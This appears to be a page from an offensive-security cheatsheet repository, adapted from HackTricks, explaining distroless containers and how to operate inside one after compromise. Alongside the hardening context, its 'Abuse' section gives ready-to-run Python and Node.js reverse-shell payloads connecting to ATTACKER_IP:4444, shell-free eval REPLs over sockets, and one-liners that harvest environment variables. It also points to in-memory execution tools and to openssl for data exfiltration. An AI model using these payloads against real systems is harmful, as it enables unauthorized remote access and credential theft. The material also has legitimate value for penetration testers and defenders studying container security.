daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

distroless.md (13685B)


      1 ---
      2 title: "Distroless Containers"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/distroless.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/distroless.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Distroless Containers
     14 
     15 ## Overview
     16 
     17 A **distroless** container image ships the **minimum runtime components required to run one specific application**, while intentionally removing the usual distribution tooling such as package managers, shells, and large sets of generic userland utilities. In practice, distroless images often contain only the application binary or runtime, its shared libraries, certificate bundles, and a very small filesystem layout. <sup>[[1]](#references)</sup>
     18 
     19 The point is not that distroless is a new kernel isolation primitive. Distroless is an **image design strategy**. It changes what is available **inside** the container filesystem, not how the kernel isolates the container. That distinction matters, because distroless hardens the environment mainly by reducing what an attacker can use after gaining code execution. It does not replace namespaces, seccomp, capabilities, AppArmor, SELinux, or any other runtime isolation mechanism.
     20 
     21 ## Why Distroless Exists
     22 
     23 Distroless images are primarily used to reduce:
     24 
     25 - the image size
     26 - the operational complexity of the image
     27 - the number of packages and binaries that could contain vulnerabilities
     28 - the number of post-exploitation tools available to an attacker by default
     29 
     30 That is why distroless images are popular in production application deployments. A container that contains no shell, no package manager, and almost no generic tooling is usually easier to reason about operationally and harder to abuse interactively after compromise.
     31 
     32 Examples of well-known distroless-style image families include:
     33 
     34 - Google's distroless images <sup>[[1]](#references)</sup>
     35 - Chainguard hardened/minimal images <sup>[[2]](#references)</sup>
     36 
     37 ## What Distroless Does Not Mean
     38 
     39 A distroless container is **not**:
     40 
     41 - automatically rootless
     42 - automatically non-privileged
     43 - automatically read-only
     44 - automatically protected by seccomp, AppArmor, or SELinux
     45 - automatically safe from container escape
     46 
     47 It is still possible to run a distroless image with `--privileged`, host namespace sharing, dangerous bind mounts, or a mounted runtime socket. In that scenario, the image may be minimal, but the container can still be catastrophically insecure. Distroless changes the **userland attack surface**, not the **kernel trust boundary**.
     48 
     49 ## Typical Operational Characteristics
     50 
     51 When you compromise a distroless container, the first thing you usually notice is that common assumptions stop being true. There may be no `sh`, no `bash`, no `ls`, no `id`, no `cat`, and sometimes not even a libc-based environment that behaves the way your usual tradecraft expects. This affects both offense and defense, because the lack of tooling makes debugging, incident response, and post-exploitation different.
     52 
     53 The most common patterns are:
     54 
     55 - the application runtime exists, but little else does
     56 - shell-based payloads fail because there is no shell
     57 - common enumeration one-liners fail because the helper binaries are missing
     58 - file system protections such as read-only rootfs or `noexec` on writable tmpfs locations are often present as well
     59 
     60 That combination is what usually leads people to talk about "weaponizing distroless".
     61 
     62 ## Distroless And Post-Exploitation
     63 
     64 The main offensive challenge in a distroless environment is not always the initial RCE. It is often what comes next. If the exploited workload gives code execution in a language runtime such as Python, Node.js, Java, or Go, you may be able to execute arbitrary logic, but not through the normal shell-centric workflows that are common in other Linux targets.
     65 
     66 That means post-exploitation often shifts into one of three directions:
     67 
     68 1. **Use the existing language runtime directly** to enumerate the environment, open sockets, read files, or stage additional payloads.
     69 2. **Bring your own tooling into memory** if the filesystem is read-only or writable locations are mounted `noexec`.
     70 3. **Abuse existing binaries already present in the image** if the application or its dependencies include something unexpectedly useful.
     71 
     72 ## Abuse
     73 
     74 ### Enumerate The Runtime You Already Have
     75 
     76 In many distroless containers there is no shell, but there is still an application runtime. If the target is a Python service, Python is there. If the target is Node.js, Node is there. That often gives enough functionality to enumerate files, read environment variables, open reverse shells, and stage in-memory execution without ever invoking `/bin/sh`.
     77 
     78 A simple example with Python:
     79 
     80 ```bash
     81 python3 - <<'PY'
     82 import os, socket, subprocess
     83 print("uid", os.getuid())
     84 print("cwd", os.getcwd())
     85 print("env keys", list(os.environ)[:20])
     86 print("root files", os.listdir("/")[:30])
     87 PY
     88 ```
     89 
     90 A simple example with Node.js:
     91 
     92 ```bash
     93 node -e 'const fs=require("fs"); console.log(process.getuid && process.getuid()); console.log(fs.readdirSync("/").slice(0,30)); console.log(Object.keys(process.env).slice(0,20));'
     94 ```
     95 
     96 Impact:
     97 
     98 - recovery of environment variables, often including credentials or service endpoints
     99 - filesystem enumeration without `/bin/ls`
    100 - identification of writable paths and mounted secrets
    101 
    102 ### Interactive Runtime Without `/bin/sh`
    103 
    104 If the image does not contain `sh` or `bash`, a classic shell-based reverse shell fails. In that situation, expose an interactive session in the installed language runtime instead of spawning a nonexistent shell.
    105 
    106 For example, this Python payload redirects an interactive Python console over a socket:
    107 
    108 ```bash
    109 python3 - <<'PY'
    110 import code, socket, sys
    111 s = socket.create_connection(("ATTACKER_IP", 4444))
    112 stream = s.makefile("rw", buffering=1)
    113 sys.stdin = sys.stdout = sys.stderr = stream
    114 code.interact(local=globals())
    115 PY
    116 ```
    117 
    118 The equivalent Node.js approach can evaluate JavaScript received over a socket. It is a JavaScript REPL, not an operating-system shell; filesystem, process, and networking operations must be performed through Node's APIs:
    119 
    120 ```bash
    121 node -e 'const net=require("net");const s=net.connect(4444,"ATTACKER_IP");s.on("data",d=>{try{s.write(String(eval(d.toString()))+"\n")}catch(e){s.write(String(e)+"\n")}});'
    122 ```
    123 
    124 Both examples require outbound connectivity and an available interpreter, and both provide only the functionality exposed by that interpreter.
    125 
    126 If the image unexpectedly includes `/bin/sh`, the classic interpreter-assisted shell payloads remain useful. They are shown separately because they are not genuinely shell-free:
    127 
    128 ```bash
    129 # Python plus an existing /bin/sh
    130 python3 - <<'PY'
    131 import os, pty, socket
    132 s = socket.create_connection(("ATTACKER_IP", 4444))
    133 for fd in (0, 1, 2):
    134     os.dup2(s.fileno(), fd)
    135 pty.spawn("/bin/sh")
    136 PY
    137 
    138 # Node.js plus an existing /bin/sh
    139 node -e 'const net=require("net"),cp=require("child_process");const s=net.connect(4444,"ATTACKER_IP",()=>{const p=cp.spawn("/bin/sh",[]);s.pipe(p.stdin);p.stdout.pipe(s);p.stderr.pipe(s);});'
    140 ```
    141 
    142 The older Python command-loop pattern is also useful when `/bin/sh` exists but an interactive PTY is inconvenient. It is retained here with its real dependency made explicit: `subprocess.run(..., shell=True)` invokes the system shell and therefore is **not** a no-shell technique.
    143 
    144 ```bash
    145 python3 -c '
    146 import subprocess
    147 while True:
    148     cmd = input("sh> ")
    149     if cmd.strip() in ("exit", "quit"):
    150         break
    151     result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    152     print(result.stdout, end="")
    153     print(result.stderr, end="")
    154 '
    155 ```
    156 
    157 ### Full Example: No-Shell Python Command Loop
    158 
    159 If the image has Python but no shell at all, a local Python REPL can still support filesystem, environment, and network inspection:
    160 
    161 ```bash
    162 python3 - <<'PY'
    163 namespace = {}
    164 while True:
    165     source = input("py> ")
    166     if source.strip() in ("exit", "quit"):
    167         break
    168     try:
    169         result = eval(source, namespace)
    170         if result is not None:
    171             print(repr(result))
    172     except SyntaxError:
    173         exec(source, namespace)
    174 PY
    175 ```
    176 
    177 This loop does not invoke `/bin/sh`. It evaluates Python expressions and statements directly, so operations must use Python APIs rather than shell commands. Within that limitation, it can still provide much of the impact of a basic shell: filesystem and environment enumeration, data access, network activity, and staging further payloads through the installed runtime.
    178 
    179 ### In-Memory Tool Execution
    180 
    181 Distroless images are often combined with:
    182 
    183 - `readOnlyRootFilesystem: true`
    184 - writable but `noexec` tmpfs such as `/dev/shm`
    185 - a lack of package management tools
    186 
    187 That combination makes classic "download binary to disk and run it" workflows unreliable. In those cases, memory execution techniques become the main answer.
    188 
    189 The dedicated page for that is:
    190 
    191 [Bypass Fs Protections Read Only No Exec Distroless](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/overview)
    192 
    193 The most relevant techniques there are:
    194 
    195 - `memfd_create` + `execve` via scripting runtimes <sup>[[4]](#references)</sup>
    196 - DDexec / EverythingExec
    197 - memexec
    198 - memdlopen
    199 
    200 ### Existing Binaries Already In The Image
    201 
    202 Some distroless images still contain operationally necessary binaries that become useful after compromise. A repeatedly observed example is `openssl`, because applications sometimes need it for crypto- or TLS-related tasks.
    203 
    204 A quick search pattern is:
    205 
    206 ```bash
    207 find / -type f \( -name openssl -o -name busybox -o -name wget -o -name curl \) 2>/dev/null
    208 ```
    209 
    210 If `openssl` is present, it may be usable for:
    211 
    212 - outbound TLS connections
    213 - data exfiltration over an allowed egress channel
    214 - staging payload data through encoded/encrypted blobs
    215 
    216 The exact abuse depends on what is actually installed, but the general idea is that distroless does not mean "no tools whatsoever"; it means "far fewer tools than a normal distribution image".
    217 
    218 ## Checks
    219 
    220 The goal of these checks is to determine whether the image is really distroless in practice and which runtime or helper binaries are still available for post-exploitation.
    221 
    222 ```bash
    223 find / -maxdepth 2 -type f 2>/dev/null | head -n 100          # Very small rootfs is common in distroless images
    224 which sh bash ash busybox python python3 node java 2>/dev/null   # Identify which runtime or shell primitives exist
    225 cat /etc/os-release 2>/dev/null                                # Often missing or minimal
    226 mount | grep -E ' /( |$)|/dev/shm'                             # Check for read-only rootfs and writable tmpfs
    227 ```
    228 
    229 What is interesting here:
    230 
    231 - If no shell exists but a runtime such as Python or Node is present, post-exploitation should pivot to runtime-driven execution.
    232 - If the root filesystem is read-only and `/dev/shm` is writable but `noexec`, memory execution techniques become much more relevant.
    233 - If helper binaries such as `openssl`, `busybox`, or `java` exist, they may offer enough functionality to bootstrap further access.
    234 
    235 ## Runtime Defaults
    236 
    237 | Image / platform style | Default state | Typical behavior | Common manual weakening |
    238 | --- | --- | --- | --- |
    239 | Google distroless style images | Minimal userland by design | No shell, no package manager, only application/runtime dependencies | adding debugging layers, sidecar shells, copying in busybox or tooling |
    240 | Chainguard minimal images | Minimal userland by design | Reduced package surface, often focused on one runtime or service | using `:latest-dev` or debug variants, copying tools during build |
    241 | Kubernetes workloads using distroless images | Depends on Pod config | Distroless affects userland only; Pod security posture still depends on the Pod spec and runtime defaults | adding ephemeral debug containers, host mounts, privileged Pod settings |
    242 | Docker / Podman running distroless images | Depends on run flags | Minimal filesystem, but runtime security still depends on flags and daemon configuration | `--privileged`, host namespace sharing, runtime socket mounts, writable host binds |
    243 
    244 The key point is that distroless is an **image property**, not a runtime protection. Its value comes from reducing what is available inside the filesystem after compromise. Multi-stage builds are a common way to keep build tools out of the final image. <sup>[[3]](#references)</sup>
    245 
    246 ## Related Pages
    247 
    248 For filesystem and memory-execution bypasses commonly needed in distroless environments:
    249 
    250 [Bypass Fs Protections Read Only No Exec Distroless](/hacktricks/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/overview)
    251 
    252 For container runtime, socket, and mount abuse that still applies to distroless workloads:
    253 
    254 [Runtime Api And Daemon Exposure](/hacktricks/linux-hardening/containers-namespaces/container-security/runtime-api-and-daemon-exposure)
    255 
    256 [Sensitive Host Mounts](/hacktricks/linux-hardening/containers-namespaces/container-security/sensitive-host-mounts)
    257 
    258 ## References
    259 
    260 - [1] [GoogleContainerTools - Distroless container images](https://github.com/GoogleContainerTools/distroless)
    261 - [2] [Chainguard Images documentation](https://edu.chainguard.dev/chainguard/chainguard-images/)
    262 - [3] [Docker Docs - Multi-stage builds](https://docs.docker.com/build/building/multi-stage/)
    263 - [4] [`memfd_create(2)` - Linux manual page](https://man7.org/linux/man-pages/man2/memfd_create.2.html)